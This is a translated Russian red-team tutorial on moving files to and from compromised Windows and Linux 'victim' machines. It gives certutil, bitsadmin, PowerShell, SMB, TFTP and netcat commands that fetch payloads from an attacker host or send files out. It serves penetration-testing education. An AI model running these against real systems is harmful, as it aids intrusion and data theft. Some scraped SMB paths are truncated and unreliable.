Руководство по передаче файлов на Linux и Windows

Дата: 05.03.2021. Автор: Игорь Б. Категории: Статьи по информационной безопасности
Руководство по передаче файлов на Linux и Windows

В этой статье пойдет речь о нескольких методах передачи файлов на Linux и Windows. Процесс является важным компонентом пост-эксплуатации, которую осуществляет пентестер.

Введение

Руководство по передаче файлов ориентировано на выполнение практики «Red teaming» и тестирования на проникновение, а также будет полезным при использовании в CTF. Стоит взглянуть на компоненты, которые понадобятся пентестеру во время работы.

Передача файлов на Windows

Руководство по передаче файлов на Linux и Windows

Необходимые компоненты

  • Машина пентестера: Kali Linux
  • Машина жертвы: Windows
  • Файл для передачи: Putty.exe

IWR (Invoke-Web Request)

Машина пентестера: Пользователь переходит в локальный каталог, из которого он собирается загрузить файл на машину жертвы. Команда Python, которую можно выполнить на сервере «SimpleHTTPS» на порту 80, мгновенно создает и запускает веб-сервер для доступа и передачи файлов в текущем рабочем каталоге. Это один из самых простых способов передачи файлов.

python -m SimpleHTTPServer 80
Руководство по передаче файлов на Linux и Windows

Машина жертвы: Нужно открыть новую вкладку на терминале в Kali. Поскольку пользователь уже использовал машину жертвы, следует использовать Netcat для получения входящего соединения от машины пентестера. Как только это будет сделано, необходимо выполнить команду PowerShell на машине жертвы, чтобы загрузить файл с машины пентестера в заданный каталог. При проверке временного каталога пользователь может увидеть файл «putty.exe», который был успешно доставлен.

Примечание: «iwr» расшифровывается как «Invoke-Web Request» и является частью утилиты Microsoft PowerShell.

nc -lvp 4444
powershell.exe -command iwr -Uri http://192.168.1.2/putty.exe -OutFile C:\Temp\putty.exe "
dir
Руководство по передаче файлов на Linux и Windows

Бывают случаи, когда пользователь хочет использовать сокращенные команды. Поэтому вместо «-outfile» он будет вводить только «-o», чтобы указать путь назначения данных (как показано ниже). Читатели могут заметить, что с помощью этой команды человек также успешно отправляет файл «putty.exe» с его компьютера.

powershell.exe iwr -uri 192.168.1.2/putty.exe -o C:\Temp\putty.exe
Руководство по передаче файлов на Linux и Windows

Есть еще один способ использовать ту же команду и сократить ее до минимального размера. Итак, нужно запустить PowerShell на машине жертвы и ввести комбинацию букв и знаков, как показано на рисунке ниже.

powershell
iwr -uri 192.168.1.2/putty.exe -o C:\Temp\putty.exe
dir
Руководство по передаче файлов на Linux и Windows

Certutil

Изначально Certutil предназначался для управления сертификатами и CA, но он также может быть использован для передачи файлов.

Машина пентестера: Пользователь может использовать тот же сервер «SimpleHTTP» на порту 80 на атакующей машине для отправки файла из каталога.

Машина жертвы: Следует использовать следующую команду для загрузки файла с машины пентестера. В команде человек упомянул IP-адрес файла и имя нужного файла. «-помогает произвести перезапись данных.

certutil -urlcache -f http://192.168.1.2/putty.exe putty.exe
Руководство по передаче файлов на Linux и Windows

Та же команда может быть выполнена с дополнительным разделением символов, чтобы указать на встроенные элементы ASN.1, а затем сохранить все на машину жертвы.

certutil -urlcache -split -f http://192.168.1.2/putty.exe putty.exe
Руководство по передаче файлов на Linux и Windows

Bitsadmin

Машина жертвы: Команда «/transfer» в Bitsadmin – это один из самых простых способов передачи файлов с машины пентестера. Сначала нужно определить отображаемое имя передачи. В данном примере оно будет называться «job». После определения имени следует указать путь к файлу для загрузки, т.е. «putty.exe» в машине пентестера. В результате пользователь вводит имя файла для загрузки и путь назначения.

bitsadmin /transfer job https://the.earth.li/~sgtatham/putty/latest/w64/putty.exe C:\Temp\putty.exe
Руководство по передаче файлов на Linux и Windows

Curl

Curl – это инструмент командной строки Linux, который используется для обмена данными с одного сервера на другой. Теперь он также доступен в «cmd» Windows.

Машина пентестера: Пользователь может использовать тот же сервер «SimpleHTTP» на порту 80 на атакующей машине для отправки файла из каталога.

Машина жертвы: На машине жертвы нужно выполнить следующую команду, чтобы загрузить файл с машины пентестера:

curl http://192.168.1.2/putty.exe -o putty.exe
dir
Руководство по передаче файлов на Linux и Windows

Wget

Его задача состоит в том, чтобы извлекать контент с доступных веб-серверов. Человек загрузит файл на сервер с помощью PowerShell.

Машина пентестера: Пользователь может использовать тот же сервер «SimpleHTTP» на порту 80 на атакующей машине для отправки файла из каталога.

Машина жертвы: Нужно открыть Powershell на машине Windows и выполнить следующую команду. Пользователь указывает путь для загрузки файла и папку назначения для передачи файла «putty.exe».

powershell
wget http://192.168.1.2/putty.exe -OutFile putty.exe
dir
Руководство по передаче файлов на Linux и Windows

Человек может использовать одну и ту же команду по-разному. Он применяет PowerShell.

powershell.exe wget http://192.168.1.2/putty.exe -OutFile putty.exe
Руководство по передаче файлов на Linux и Windows

Powershell

У пользователя есть команда для доступа к Shell Windows, которую он может использовать для загрузки любого файла с веб-сервера. Следует ввести приведенную ниже команду в Powershell машины жертвы от имени администратора.

powershell.exe (New-Object System.Net.WebClient).DownloadFile('http://192.168.1.2/putty.exe', 'putty.exe')
Руководство по передаче файлов на Linux и Windows

SMB Server

SMB – это протокол, предназначенный для установления связи, чтобы обеспечить общий доступ к файлам, портам и т.д. Нужно понять, как пользователь может использовать его для передачи файла с его машины на машину жертвы.

Impacket-Smbserver

Машина пентестера: На атакующей машине пользователь переходит в каталог, из которого должен быть передан файл. Затем нужно воспользоваться командой «Impacket-smbserver», чтобы поделиться этим файлом с локальной машины. Значение общего ресурса здесь заключается в том, что он преобразует длинный путь файла в один общий каталог. Одна и та же команда «Impacket» может выполняться двумя способами.

Примечание: «Impacket» обеспечивает низкоуровневый программный доступ к некоторым пакетам для определенных протоколов в сети.

В приведенной ниже команде видно, что пользователь будет совместно использовать файл из каталога. Однако вместо упоминания всего пути он пишет «pwd», что означает текущий рабочий каталог.

impacket-smbserver share $(pwd) -smb2support
Руководство по передаче файлов на Linux и Windows

Эту команду можно использовать по-разному. Единственное различие заключается в том, что пользователь упоминает текущий каталог, как показано на рисунке ниже.

impacket-smbserver share /root/Downloads/test -smb2support
Руководство по передаче файлов на Linux и Windows

Машина жертвы: На машине жертвы для загрузки файла с машины пентестера можно воспользоваться командой «copy».

copy \2.168.1.2\share\putty.exe
dir
Руководство по передаче файлов на Linux и Windows

Человек также может использовать команду «net use» для подключения к общей папке. Затем следует ввести команду «copy», чтобы загрузить файл с компьютера пентестера. Файл «putty.exe» успешно был доставлен в систему жертвы.

net use \2.168.1.2\share
net use
copy \2.168.1.2\share\putty.exe
dir
Руководство по передаче файлов на Linux и Windows

Примечание: Если пентестер использует другую операционную систему, где «Impacket» не установлен по умолчанию, то можно применить следующий метод, вручную установив «Impacket smb-server» из Github.

Машина пентестера: На атакующей машине пользователь переходит в каталог, из которого должен быть передан файл.

Руководство по передаче файлов на Linux и Windows
python3 smbserver.py share /root/test -smb2support
Руководство по передаче файлов на Linux и Windows

Машина жертвы: На машине жертвы для загрузки файла с машины пентестера также можно воспользоваться командой «copy».

copy \2.168.1.2\share\putty.exe
dir
Руководство по передаче файлов на Linux и Windows

TFTP

Служба TFTP используется для чтения и записи файлов из удаленного соединения, которое функционирует на порту 69 путем настройки UDP.

Машина пентестера: На атакующей машине нужно создать каталог и файл с именем «file.txt».

Руководство по передаче файлов на Linux и Windows

Теперь пользователь откроет Metasploit и использует существующий модуль TFTP для обмена файлами. Нужно ввести IP-адрес машины пентестера, а также путь к каталогу для загрузки файла и эксплойта.

blank

Машина жертвы: На машине жертвы для загрузки файла с машины пентестера используется команда «TFTP». Файл «putty.exe» успешно был доставлен.

tftp -i 192.168.1.2 GET file.txt
blank

FTP

FTP расшифровывается как File Transfer Protocol («протокол передачи файлов»). Его задача заключается в совместном использовании файлов между системами. С помощью FTP пользователь может загрузить файл в систему Windows жертвы, введя правильное имя пользователя и пароль, как показано ниже. Он также может использовать команду «get», если есть два файла, чтобы выбрать необходимый ему файл.

ftp 192.168.1.5
get file.txt
dir
blank

Передача файлов на Linux

HTTP

Это один из самых популярных способов передачи файлов. Стоит рассмотреть различные методы использования HTTP в этих целях.

PHP Web-Server

Машина пентестера: Команда «PHP» используется для запуска HTTP-листенера для получения общего доступа к файлам, перейдя в каталог, где находится файл.

php -S 0.0.0.0:8080
blank

Машина жертвы: В веб-браузере машины жертвы нужно указать IP-адрес пентестера с номером порта и именем файла, чтобы загрузить его.

192.168.1.6:8080/putty.exe
blank

Apache

Машина пентестера: Служба Apache должна быть активирована на компьютере перед передачей файла через веб-каталоги. Затем нужно переместить любой файл в каталог HTML, чтобы поделиться им. После этого пользователь перезапускает Apache.

cp putty.exe /var/www/html
service apache2 restart
blank

Машина жертвы: В веб-браузере машины жертвы нужно указать IP-адрес пентестера с номером порта и именем файла, чтобы загрузить его.

192.168.1.6/putty.exe
blank

Сервер Simple HTTP

Машина пентестера: Пользователь перейдет в локальный каталог, из которого он собирается загрузить файл на машину жертвы. Команда Python, выполняемая на сервере «SimpleHTTP» на порту 8000, мгновенно создает и запускает веб-сервер для доступа и передачи файлов в текущем рабочем каталоге.

python -m SimpleHTTPServer
blank

Если у человека установлена более новая версия Python, он также может использовать команду, как показано на рисунке ниже.

python3 -m http.server 8000
blank

Машина жертвы: В веб-браузере жертвы нужно указать IP-адрес машины пентестера и номер порта, чтобы перечислить содержимое каталога для загрузки файла.

blank

Curl

Это инструмент командной строки, который используется для передачи данных. Он также применяется для загрузки файлов с машины пентестера.

Машина жертвы: Пользователь выполнит следующую команду, чтобы загрузить файл на машину жертвы.

curl -O http://192.168.1.6/putty.exe
blank

Wget

Это инструмент командной строки Linux, который используется для загрузки файла с компьютера пентестера.

Машина жертвы: Пользователь выполнит следующую команду, чтобы загрузить файл на машину жертвы.

wget 192.168.1.6/putty.exe
blank

Netcat

Netcat известен как «швейцарский нож». Он используется в нескольких целях. Пользователь будет применять его для передачи файлов.

Машина пентестера: Пользователь использует следующую команду для загрузки файла.

nc -lvp 5555 > file.txt
blank

Машина жертвы: На машине жертвы нужно ввести данную команду.

nc 192.168.1.6 5555 < file.txt
blank

Теперь пользователь может скачать файл, чтобы просмотреть его содержимое.

blank

SCP

SCP расшифровывается как Secure Copy Protocol. Он предназначен для безопасной передачи файлов между локальным и удаленным хостом. Основан на протоколе SSH.

Машина пентестера: Пользователь создал новый файл «file.txt», затем перенес его на удаленную машину с помощью следующей команды:

scp file.txt [email protected]:/tmp
blank

Машина жертвы: На машине жертвы пользователь переходит в каталог «/temp» и использует команду «cat» для чтения файла.

blank

SMB-Client

Машина пентестера: Служба «smbclient» может использоваться для получения доступа к общей папке smb-сервера. Следует выполнить приведенную ниже команду, чтобы просмотреть эту папку.

Машина жертвы: Пользователь проверит файл в общем каталоге. Он может загрузить его с помощью команды «get» и прочитать его содержимое с помощью команды «cat».

smbclient -L 192.168.1.21 -U raj%123
smbclient  //192.168.1.21/share -U raj%123
blank

Meterpreter

Машина пентестера: При компрометации машины жертвы с помощью Meterpreter пользователь может выполнить следующую команду для загрузки файла с его компьютера.

meterpreter> download file.txt /root/Desktop/
blank

FTP

Машина пентестера: Нужно установить Python-FTP-библиотеку с помощью команды «pip». Затем человек вводит команду «python», чтобы поделиться файлом с помощью FTP. Нужно установить для него имя пользователя и пароль.

Примечание: В данном случае «p» в нижнем регистре означает номер порта, а «Р» в верхнем регистре – пароль.

pip install pyftpdlib
python3 -m pyftpdlib -p 21 -u jeenali -P 123
blank

Машина жертвы: На машине жертвы человек использует команду FTP с IP-адресом его компьютера, вводит имя пользователя и пароль. С помощью команды «get» он может отправить файл.

ftp 192.168.1.5
blank

Человек также имеет возможность загрузить файл на машину жертвы из браузера, введя имя пользователя и пароль.

ftp 192.168.1.5
blank

Здесь читатели могут увидеть каталог, указанный в списке, и файл, который готов к загрузке.

ftp 192.168.1.5
blank

Автор переведенной статьи: Jeenali Kothari.

Важно! Информация исключительно в учебных целях. Пожалуйста, соблюдайте законодательство и не применяйте данную информацию в незаконных целях.

Игорь Б

Об авторе Игорь Б

Автор на портале cisoclub.ru. Добавляйте ваш материал на сайт в разделе "Разместить публикацию".
Читать все записи автора Игорь Б

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *